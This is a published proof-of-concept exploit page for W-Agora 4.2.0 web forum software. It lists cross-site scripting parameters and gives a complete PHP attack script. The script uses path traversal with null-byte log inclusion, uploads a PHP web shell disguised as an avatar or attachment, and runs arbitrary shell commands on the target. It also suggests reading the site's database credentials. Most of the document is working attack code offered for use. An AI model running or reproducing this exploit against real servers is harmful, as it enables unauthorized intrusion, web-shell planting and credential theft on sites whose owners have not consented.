W-agora 4.2.0 Remote code execution / cross site scripting poc exploit software: site: http://w-agora.net/en/index.php description: "W-Agora is a web publishing and forum software. It allows you and your visitors to store and display messages, files, share discussions and other information on your web site." i) xss: http://[target]/wagora/templates/admin/login_form.php?msg_login= http://[target]/wagora/templates/admin/login_form.php?form_title= http://[target]/wagora/templates/admin/login_form.php?loginuser=">

W-Agora 4.2.0 remote commands execution

a script by rgod at http://rgod.altervista.org

hostname (ex: www.sitename.com)

path (ex: /cyphor/ or /forum/ or just /)

specify a port other than 80 (default value)

a shell command, cat ./../../../ ../conf/site_agora.php to see database username/password

max retries when you make the GET the shell (uploaded files are ordered by number...default=100)

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } function valid_ipv4($ip_addr) { $num="([0-9]|1?\d\d|2[0-4]\d|25[0-5])"; $range="([1-9]|1\d|2\d|3[0-2])"; if(preg_match("/^$num\.$num\.$num\.$num(\/$range)?$/",$ip_addr)) { return 1; } return 0; } function sendpacket($packet) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host).'...'; die; }} else { $proxy=trim($proxy); $parts=explode(':',$proxy); if (!valid_ipv4($parts[0])) {echo htmlentities($proxy).' -> not a valid proxy...'; die;} if (intval($parts[1])<=0) {echo htmlentities($proxy).' -> not a valid proxy...'; die;} echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($path<>'') and ($host<>'') and ($command<>'')) { $port=intval($port); if (($port=='') or ($port<=0)) {$port=80;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $maxretries=intval($maxretries); if (($maxretries=='') or ($maxretries<=0)) {$maxretries=100;} echo 'Initiating exploit against '.htmlentities($host).':'.htmlentities($port); echo ' with '.htmlentities($maxretries).' as maximum of retries
'; if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} #STEP 0 -> we will try to include a log file... $up="/../../"; for ($i=0; $i<=strlen($path)-1; $i++) {if ($path[$i]=='/') {$up.="../";}} $packet="GET ".$p."extras/quicklist.php?fake=".urlencode(""); $packet.="&suntzu=".urlencode($command)."&site=".$up."apache/logs/access.log%00 HTTP/1.1\r\n"; //change the path but keep null char $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host."\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Amiga-AWeb/3.4.167SE\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacket($packet); if (eregi("HiMaster",$html)) {echo '
Exploit succeded...'; die;} #STEP 1 -> we will upload a special avatar... $data='-----------------------------7d5d24110dfe Content-Disposition: form-data; name="site" agora -----------------------------7d5d24110dfe Content-Disposition: form-data; name="submitted" true -----------------------------7d5d24110dfe Content-Disposition: form-data; name="perpage" 20 -----------------------------7d5d24110dfe Content-Disposition: form-data; name="first" 0 -----------------------------7d5d24110dfe Content-Disposition: form-data; name="avatar"; filename="C:\suntzu.php" Content-Type: application/octet-stream "; echo nl2br(htmlentities(`$_GET[suntzu]`)); ?> -----------------------------7d5d24110dfe Content-Disposition: form-data; name="submit" Copy file -----------------------------7d5d24110dfe--'; $packet="POST ".$p."browse_avatar.php HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$p."browse_avatar.php\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d5d24110dfe\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: BigBrother/1.6e\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: close\r\n\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.=$data; show($packet); sendpacket($packet); #STEP 2 -> Try to launch commands $packet="GET ".$p."images/avatars/suntzu.php?suntzu=".urlencode($command)." HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host."\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: bluefish 0.6 HTML editor\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacket($packet); if (eregi("Hi,Master...",$html)) {echo '
Exploit succeded...'; die;} #STEP 2b -> Try to include shell through quicklist.php $packet="GET ".$p."extras/quicklist.php?suntzu=".urlencode($command)."&site=/../../../images/avatars/suntzu HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host."\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: curl/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled)\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacket($packet); if (eregi("Hi,Master...",$html)) {echo '
Exploit succeded...'; die;} #STEP 3 -> retrieve site name string & main page url $packet="GET ".$p." HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host."\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Internet Ninja x.0\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacket($packet); $html2=explode(' '.htmlentities($sitename[$i-1]).' main -> '.htmlentities($main[$i-1]).'
'; } if (count($sitename)==0) {echo 'Exploit failed for some reason...check the response...'; die;} for ($x=0; $x<=count($sitename)-1; $x++) //cycling among forums and directories... //we search a not .htaccess protected one { #STEP 4 -> retrieve a forum name... $packet="GET ".$p.$main[$x]." HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host."\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Nokia-WAPToolkit/1.2 googlebot(at)googlebot.com\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacket($packet); // if (!eregi($sitename[$x]."_",$html)) {echo 'No forum created there, exploit failed...'; die;} $temp=explode($sitename[$x]."_",$html); for ($i=1; $i<=count($temp)-1; $i++){ $temp2=explode('">',$temp[$i]); $forumname[$i-1]=$temp2[0]; echo 'forumname -> '.htmlentities($forumname[$i-1]).'
'; } for ($y=0; $y<=count($forumname)-1; $y++){ #STEP 5 -> Upload a shell... $data='-----------------------------7d531f1c20007a Content-Disposition: form-data; name="site" '.$sitename[$x].' -----------------------------7d531f1c20007a Content-Disposition: form-data; name="bn" '.$sitename[$x].'_'.$forumname[$y].' -----------------------------7d531f1c20007a Content-Disposition: form-data; name="do_post" 1 -----------------------------7d531f1c20007a Content-Disposition: form-data; name="back_form" post -----------------------------7d531f1c20007a Content-Disposition: form-data; name="popup" 1 -----------------------------7d531f1c20007a Content-Disposition: form-data; name="no_thanks_msg" -----------------------------7d531f1c20007a Content-Disposition: form-data; name="lynx" 0 -----------------------------7d531f1c20007a Content-Disposition: form-data; name="MAX_FILE_SIZE" 1000000 -----------------------------7d531f1c20007a Content-Disposition: form-data; name="filename" -----------------------------7d531f1c20007a Content-Disposition: form-data; name="actiontype" upload -----------------------------7d531f1c20007a Content-Disposition: form-data; name="server_file" -----------------------------7d531f1c20007a Content-Disposition: form-data; name="username" -----------------------------7d531f1c20007a Content-Disposition: form-data; name="useraddress" -----------------------------7d531f1c20007a Content-Disposition: form-data; name="password" -----------------------------7d531f1c20007a Content-Disposition: form-data; name="subject" -----------------------------7d531f1c20007a Content-Disposition: form-data; name="icon" icon1.gif -----------------------------7d531f1c20007a Content-Disposition: form-data; name="body" -----------------------------7d531f1c20007a Content-Disposition: form-data; name="pcfile"; filename="C:\suntzu.php" Content-Type: application/octet-stream "; echo `$_GET[suntzu]`; ?> -----------------------------7d531f1c20007a--'; //used backticks in shell, they are not quotes, but execution operators... $packet="POST ".$p."insert.php HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.":".$p."post.php?bn=".$sitename[$x]."_".$forumname[$y]."\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d531f1c20007a\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Netprospector JavaCrawler\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packer.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; show($packet); sendpacket($packet); #STEP 6 -> Launch commands... including the uploaded file through quicklist.php script $i=1; while (!eregi("Hi, Sun-Tzu...",$html)) { $packet="GET ".$p."extras/quicklist.php?suntzu=".urlencode($command)."&site=/../../forums/".$sitename[$x]; $packet.="/".$forumname[$y]."/notes/".$i.".suntzu HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host."\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: online link validator (http://www.dead-links.com/)\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacket($packet); $i=$i+1; if ($i==$maxretries+1) {break;} } if (eregi("Hi, Sun-Tzu...",$html)) {echo '
Exploit succeded...'; die;} #STEP 7 -> Check if you have access to notes directory... $packet="GET ".$p."forums/".$sitename[$x]."/".$forumname[$y]."/notes/ HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host."\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Gamespy_Arcade, GameSpyHTTP\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacket($packet); if (eregi('200 OK',$html)) { $i=1; while (!eregi("Hi, Sun-Tzu...",$html)) { $packet="GET ".$p."forums/".$sitename[$x]."/".$forumname[$y]."/notes/".$i.".suntzu.php?suntzu=".urlencode($command)." HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host."\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: online link validator (http://www.dead-links.com/)\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacket($packet); $i=$i+1; if ($i==$maxretries+1) {break;} } if (eregi("Hi, Sun-Tzu...",$html)) {echo 'Exploit succeded...'; die;} } else {echo 'notes directory is .htaccess protected...searching another
';} } } } else {echo 'Fill requested fields, optionally specify a proxy...';} ?> rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/wagora420_xpl.html